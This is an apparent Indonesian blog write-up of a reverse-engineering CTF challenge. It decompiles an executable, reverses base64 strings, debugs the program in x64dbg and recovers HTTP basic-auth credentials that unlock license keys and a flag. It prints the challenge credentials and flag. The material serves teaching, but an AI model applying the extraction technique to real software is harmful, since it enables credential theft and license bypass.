<p><img loading="lazy" decoding="async" class="aligncenter wp-image-129 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050.png" alt="" width="1878" height="646" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050.png 1878w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-300x103.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-1024x352.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-768x264.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-1536x528.png 1536w" sizes="auto, (max-width: 1878px) 100vw, 1878px" /></p>
<p>Sepertinya memerlukan semacam authorization untuk mengakses endpoint /privateData dimana hal ini disebut basic http authentication jadi kita memerlukan suatu credential agar bisa mengakses endpoint tersebut jadi kita perlu analisys lagi</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-131 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632.png" alt="" width="935" height="95" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632.png 935w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632-300x30.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632-768x78.png 768w" sizes="auto, (max-width: 935px) 100vw, 935px" /></p>
<p>Jika kita explore lagi pada pseudo code kita bisa melihat disana ada suatu user defined function yaitu base64coyy yang kemungkinan besar program melakukan encode dan decode memakai base64</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-132 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317.png" alt="" width="943" height="496" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317.png 943w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-300x158.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-768x404.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-720x380.png 720w" sizes="auto, (max-width: 943px) 100vw, 943px" /></p>
<p>Nah disini ada suatu deklarasi array dan juga while loop untuk operasi string dimana kita bisa melihat dari string yang di assign pada variable untuk membaca string kita perlu mengikuti pola decompiler</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-133 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559.png" alt="" width="773" height="421" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559.png 773w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559-300x163.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559-768x418.png 768w" sizes="auto, (max-width: 773px) 100vw, 773px" /></p>
<p>Kita bisa melihat pola string seperti <strong>??_C@_0L@KGCJHHFD@keyLicense@; </strong>yang sebenarnya string asli merupakan KeyLicense jadi patternya ??_@string_sampah@string_aslinya@ jadi kita bisa langsung mengambil string aslinya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-134 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437.png" alt="" width="673" height="489" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437.png 673w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437-300x218.png 300w" sizes="auto, (max-width: 673px) 100vw, 673px" /></p>
<p>Jika kita melihat pada operasi berikut sederhananya operasi tersebut melakukan append string karena memang hasil dari decompile terlihat sangat rumit jadi kita sekarang mencoba membuka pada hex editor dari string tersebut</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-135 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008.png" alt="" width="486" height="151" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008.png 486w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008-300x93.png 300w" sizes="auto, (max-width: 486px) 100vw, 486px" /></p>
<p>Karena tadi kita mendapatkan petujuk yaitu function base64coyy sekarang kita perlu identifikasi string dengan encoding base64 dan kita menemukan 3 string yaitu:</p>
<p>y92cwwGZ</p>
<p>uxWYrFmYhJl</p>
<p>cwMXYn5GM3pDajVGdphmY</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-136 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503.png" alt="" width="653" height="182" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503.png 653w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503-300x84.png 300w" sizes="auto, (max-width: 653px) 100vw, 653px" /></p>
<p>Tetapi pada saat dilakukan decode encoding bukan base64 dan menampilkan invalid input</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-138 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728.png" alt="" width="908" height="376" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728.png 908w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728-300x124.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728-768x318.png 768w" sizes="auto, (max-width: 908px) 100vw, 908px" /></p>
<p>Dan jika kita melihat lagi pada source code terdapat function strrev yang mengambil argument dari string base64 yang di append jadi kita bisa coba melakukan reverse/membalikkan string agar dapat kita lakukan decoding</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-139 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940.png" alt="" width="636" height="345" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940.png 636w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940-300x163.png 300w" sizes="auto, (max-width: 636px) 100vw, 636px" /></p>
<p>Saat dilakukan pembalikkan string, kita berhasil melakukan decode dengan plaint-text bhitech:w0ngas0rRabakalndl0sor jadi memang pada http auth username dan password dilakukan pemisahan pada character : artinya berarti bhitech merupakan username dan w0ngas0rRabakalndl0sor adalah passwordnya jadi langsung kita coba pada http auth</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-140 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219.png" alt="" width="1723" height="467" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219.png 1723w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-300x81.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-1024x278.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-768x208.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-1536x416.png 1536w" sizes="auto, (max-width: 1723px) 100vw, 1723px" /></p>
<p>hmm ternyata masih gagal atau username/password salah yang berarti analysis static saja belum cukup jadi kita langsung mulai menggunakan x64dbg untuk analysis dynamic yaitu analysis program pada saat runtime/berjalan</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-141 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710.png" alt="" width="1123" height="579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710.png 1123w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-300x155.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-1024x528.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-768x396.png 768w" sizes="auto, (max-width: 1123px) 100vw, 1123px" /></p>
<p>Kita buka dan running pada x64dbg dan melihat behaviour pada program saat berjalan, lalu kita trace dan melihat informasi data di stack dan memory</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-142 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101.png" alt="" width="886" height="221" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101.png 886w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101-300x75.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101-768x192.png 768w" sizes="auto, (max-width: 886px) 100vw, 886px" /></p>
<p>Disini kita menemukan string base64 encode beserta plaintext-nya yaitu YmhpdGVjaDp3MG5nYXMwclJhYmFrYWxuZGwwc29y dan bhitech:w0ngas0rRabakaln artinya sebenarnya flow kita memang sudah benar tetapi compiler dan linker memotong string password yang sebenernya w0ngas0rRabakalndl0sor menjadi w0ngas0rRabakaln</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-143 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641.png" alt="" width="1894" height="693" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641.png 1894w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-300x110.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-1024x375.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-768x281.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060641-1536x562.png 1536w" sizes="auto, (max-width: 1894px) 100vw, 1894px" /></p>
<p>Pada saat login menggunakan credential yang kita dapatkan hasilnya valid dan bisa dilihat REST API tersebut menyimpan kumpulan license key dan sekarang kita coba ambil 1 untuk diinputkan pada program</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-145 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835.png" alt="" width="982" height="491" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835.png 982w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060835-768x384.png 768w" sizes="auto, (max-width: 982px) 100vw, 982px" /></p>
<p>Dan kita coba cek dari footer response API untuk mendapatkan flagnya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-146 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926.png" alt="" width="1031" height="167" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926.png 1031w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-1024x166.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060926-768x124.png 768w" sizes="auto, (max-width: 1031px) 100vw, 1031px" /></p>
<p><strong>bhitech{Al0n-al0n-pok0k-k3l4k0n}</strong></p>
<h2>Penutup</h2>
<p>Oke jadi itu saja mungkin WriteUP pada challenge RE kali ini semoga teman teman banyak belajar juga dan lebih memahami konsep Reverse Engineering. ya sebenarnya ada reward 70K untuk yang pertama kali solve tapi berhubung tidak ada yang solve jadi uangnya mungkin nanti ku pake beli kopi golda sama rokok dan bengong mikirin dunia didepan indomaret aja hehe<strong><br />
</strong></p>
<p>&nbsp;</p>
<p><em>&#8220;Kamu tidak perlu menjadi luar biasa untuk memulai, tapi kamu harus memulai untuk menjadi luar biasa.&#8221;</em> <strong>&#8211; Zig Ziglar</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/">Reverse Engineering pada executable file</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
